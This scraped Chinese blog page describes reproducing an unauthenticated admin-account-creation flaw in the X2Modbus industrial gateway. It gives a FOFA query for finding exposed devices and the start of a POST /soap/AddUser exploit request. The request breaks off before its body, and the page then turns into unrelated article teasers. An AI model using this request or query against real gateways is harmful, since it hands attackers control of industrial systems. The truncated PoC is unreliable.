迅饶科技 X2Modbus 网关 AddUser 任意用户添加漏洞复现
0x01 产品简介
X2Modbus是上海迅饶自动化科技有限公司Q开发的一款功能很强大的协议转换网关， 这里的X代表各家不同的通信协议， 2是T0的谐音表示转换， Modbus就是最终支持的标准协议是Modbus协议。用户可以根据现场设备的通信协议进行配置，转成标准的Modbus协议。在PC端仿真运行无误后，上传到硬件协议转换网关。
0x02 漏洞概述
迅饶科技 X2Modbus 网关 AddUser 任意用户添加漏洞，未经身份验证的攻击者可利用此漏洞添加任意普通或超级管理员账户，导致后台被接管，使系统处于极不安全的状态。
0x03 复现环境
FOFA：server="SunFull-Webs"
0x04 漏洞复现
PoC
POST /soap/AddUser HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequestinsert in相关文章：
迅饶科技 X2Modbus 网关 AddUser 任意用户添加漏洞复现
0x01 产品简介 X2Modbus是上海迅饶自动化科技有限公司Q开发的一款功能很强大的协议转换网关， 这里的X代表各家不同的通信协议， 2是T0的谐音表示转换， Modbus就是最终支持的标准协议是Modbus协议。用户可以根据现场设备的通信协议进行配置，转成标准的Modbus协议。在PC端仿真…...
基于YOLOv8+PyQt5复杂场景下船舶目标检测系统
1. 应用场景 复杂场景下船舶目标检测系统的应用场景包括： 港口管理和安全：监控港口区域，确保船舶安全地进出港口，预防相撞事故的发生。 海洋交通监控：实时追踪海上交通流，并识别违规或异常航行行为&#x…...
Spring Boot | Spring Security ( SpringBoot安全管理 )、Spring Security中 的 “自定义用户认证“
目录 : Spring Boot 安全管理 ：一、Spring Security 介绍二、Spring Security 快速入门2.1 基础环境搭建 :① 创建Spring Boot 项目② 创建 html资源文件③ 编写Web控制层 2.2 开启安全管理效果测试 :④ 添加 spring-boot-starter-security 启动器⑤ 项目启动测试 三…...
力扣经典150题第五十五题：逆波兰表达式求值
目录 题目描述和要求示例解释解题思路算法实现复杂度分析测试和验证总结和拓展参考资料 题目描述和要求 给你一个字符串数组 tokens，表示一个根据逆波兰表示法表示的算术表达式。请你计算该表达式，并返回一个表示表达式值的整数。 注意： 有…...
C#队列(Queue)的基本使用
概述 在编程中，队列（Queue）是一种常见的数据结构，它遵循FIFO（先进先出）的原则。在C#中，.NET Framework提供了Queue<T>类，它位于System.Collections.Generic命名空间下&#x…...
预训练模型介绍
一、什么是GPT GPT 是由人工智能研究实验室 OpenAI 在2022年11月30日发布的全新聊天机器人模型, 一款人工智能技术驱动的自然语言处理工具 它能够通过学习和理解人类的语言来进行对话, 还能根据聊天的上下文进行互动,能完成撰写邮件、视频脚本、文案、翻译、代码等任务 二、 为…...
Pandas入门篇（三）-------数据可视化篇3（seaborn篇）（pandas完结撒花！！！）
目录 概述一、语法二、常用单变量绘图1. 直方图（histplot）2. 核密度预估图（kdeplot）3. 计数柱状图（countplot） 三、常用多变量绘图1.散点图(1) scatterplot(2)regplot 散点图拟合回归线(3)jointplot 散点图…...
SpringBoot中阿里OSS简单使用
官方文档:Java跨域设置实现跨域访问_对象存储(OSS)-阿里云帮助中心 1.pom中引入依赖 <dependency><groupId>com.aliyun.oss</groupId><artifactId>aliyun-sdk-oss</artifactId><version>3.15.1</version> </dependency> 如…...
websocket简介
服务端推送消息给浏览器 WebSocket 教程 - 阮一峰的网络日志...
Linux的shell外壳
Shell外壳 在计算机领域，“shell”（外壳）是指一种用户界面，提供了访问操作系统服务的方式。Shell 是用户与操作系统之间的桥梁，它解释并执行用户输入的命令。 Shell 的主要功能包括： 命令解释：…...
支付宝支付流程
第一步前端：点击去结算，前端将商品的信息传递给后端，后端返回一个商品的订单号给到前端，前端将商品的订单号进行存储。 对应的前端代码：然后再跳转到支付页面 // 第一步 点击去结算 然后生成一个订单号 // 将选中的商…...
打招呼得不到回复，跟头像还有关系？
现在很多人有个想法，那就是觉得某些公司是不是为了某些目的才往出发的招聘信息啊，其实他们并不需要招聘新员工。 目录 已读不回？ 头像很重要 选择自己的精修照片 已读不回？ 很有这种可能，但你细心观察会发现，的确有很多大公司，...
【网络原理】HTTPS 的工作过程
系列文章目录 【网络通信基础】网络中的常见基本概念 【网络编程】网络编程中的基本概念及Java实现UDP、TCP客户端服务器程序（万字博文） 【网络原理】UDP协议的报文结构 及 校验和字段的错误检测机制（CRC算法、MD5算法） 【网络…...
Python语言在地球科学中地理、气象、气候变化、水文、生态、传感器等数据可视化到常见数据分析方法的使用
Python是功能强大、免费、开源，实现面向对象的编程语言，Python能够运行在Linux、Windows、Macintosh、AIX操作系统上及不同平台（x86和arm），Python简洁的语法和对动态输入的支持，再加上解释性语言的本质&…...
【JVM】class文件格式，JVM加载class文件流程，JVM运行时内存区域，对象分配内存流程
这篇文章本来只是想讲一下class文件格式，讲着讲着越讲越多。JVM这一块吧，知识比较散比较多，如果深研究下去如死扣《深入理解Java虚拟机》，这本书很深很细，全记住是不可能的，其实也没必要。趁这个机会直接把…...
GPU系列(六)-NVIDIA GPU 驱动安装
1. 安装驱动 1.1 查看系统是否识别显卡 lspci | grep -i vga03:00.0 VGA compatible controller: NVIDIA Corporation GP102 [TITAN X] (rev a1) 0a:00.0 VGA compatible controller: Matrox Electronics Systems Ltd. G200eR2 (rev 01) 识别出显卡为 NVIDIA 的 TITAN X。 …...
第十五届蓝桥杯总结
因为本人不是计院的，以后可能也不会打算法类的竞赛了，故作此总结，纪念我四个月的算法学习经历，还算是对算法有了一定的基础，碰运气拿下了湖北b组省二，个人感觉比赛题目没有第十四届难，感觉就是纯…...
Linux驱动开发——（八）Linux异步通知
目录 一、异步通知简介 二、信号处理 2.1 驱动程序中的处理 2.1.1 fasync_struct结构体 2.1.2 fasync操作函数 2.1.3 kill_fasync函数 2.2 应用程序中的处理 三、驱动代码 一、异步通知简介 异步通知的核心就是信号。信号类似于硬件上使用的中断，只不过信号…...
Docker知识点汇总表格总结
Docker容器给我的一个很直观的感受就是将项目以及中间件安装变得比较简单直接，运行维护起来也更方便。之前做的一些微服务项目也是用docker来部署，现在很多开源的项目也流行使用docker来部署，简化了很多手动安装和配置的步骤，将项…...
Golang中实现调用Windows API向指定目标发送ARP请求
简介 Go库中很多实现的arp都是支持osx/linux/bsd之类的， 但几乎没有支持windows的， 也试了一些方式， 目前还是选用调用windows的API， 记录一下这一次windows的API的调用经验。 实现 代码 package main/* #cgo CFLAGS: -I. #cgo …...
MCprep插件终极指南：从Minecraft世界到专业动画的完整解决方案
MCprep插件终极指南：从Minecraft世界到专业动画的完整解决方案 【免费下载链接】MCprep Blender python addon to increase workflow for creating minecraft renders and animations 项目地址: https://gitcode.com/gh_mirrors/mc/MCprep 你是否曾梦想将Min…...
【模型手术室】第七篇：模型量化 —— 从 FP16 到 4-bit 的极限压缩与性能翻倍
专栏进度：07 / 10 (微调实战专题) 大模型默认使用 FP16（16 位浮点数） 存储权重，这意味着每个参数占 2 字节。一个 7B 模型光权重就占 14GB 显存。量化的本质是把这些高精度的数字映射到更小的整数空间（如 INT4…...
ScanTailor Advanced：3步让你的扫描文档焕然一新
ScanTailor Advanced：3步让你的扫描文档焕然一新 【免费下载链接】scantailor-advanced ScanTailor Advanced is the version that merges the features of the ScanTailor Featured and ScanTailor Enhanced versions, brings new ones and fixes. 项目地址: htt…...
PTA编程题‘Person抽象类’避坑指南：变量命名冲突、多态指针数组与输出格式化的那些坑
PTA编程题‘Person抽象类’避坑指南：变量命名冲突、多态指针数组与输出格式化的那些坑 在C面向对象编程的实战中，抽象类和派生类的设计看似简单，却暗藏诸多陷阱。许多初学者在完成PTA/LeetCode这类编程题时，往往因为一些看似微不足…...
Vivado仿真踩坑实录：PR模式不支持仿真的快速解决方案（附详细步骤）
Vivado仿真避坑指南：PR模式不支持仿真的深度解析与实战方案 刚接触FPGA开发的朋友们，不知道你们是否遇到过这样的场景：在Vivado中精心设计了一个工程，准备进行仿真验证时，突然弹出一个令人困惑的错误提示——"Sim…...
秀米能做的它都行，AI 写作让内容生产更简单
「选题想破头，初稿磨半天，排版更费神。」这或许是当下许多小编、运营乃至企业内容负责人的日常写照。内容需求暴涨，但高质量产出一直是道门槛。传统的编辑器，如秀米等，已极大简化了图文排版与可视化编辑的流程…...
VHD/VHDX差分盘：Windows系统合并、回滚与定位
VHD/VHDX差分盘：Windows系统合并、回滚与定位VHD/VHDX 差分盘是 Windows 系统中一种高效的虚拟磁盘管理技术，尤其适用于需要频繁进行系统状态回滚、软件测试或虚拟机镜像管理的场景。通过仅存储与父盘的差异数据，差分盘能够显著节省存储空间&…...
从单体到微服务：用Ruoyi-Vue-Plus框架快速搭建多租户后台系统（含AI模块开发避坑指南）
从单体到微服务：Ruoyi-Vue-Plus框架的多租户实战与AI模块开发精要 当企业级应用需要同时服务多个客户群体时，如何确保数据隔离与系统性能的平衡成为架构设计的核心挑战。Ruoyi-Vue-Plus作为一款基于Spring Boot的快速开发框架，其多租户实现机…...
Trae平台实战：我如何教会一个AI智能体应对动态网页和反爬虫？
Trae平台实战：动态网页抓取与反爬策略的智能应对之道 在数据驱动的商业环境中，网页抓取技术已成为企业获取竞争优势的关键能力。然而，随着网站防护技术的升级，传统爬虫在面对动态加载内容和复杂反爬机制时往往力不从心。本文将分享…...
GeoSeg终极指南：基于Transformer的遥感图像语义分割实战教程
GeoSeg终极指南：基于Transformer的遥感图像语义分割实战教程 【免费下载链接】GeoSeg UNetFormer: A UNet-like transformer for efficient semantic segmentation of remote sensing urban scene imagery, ISPRS. Also, including other vision transformers and C…...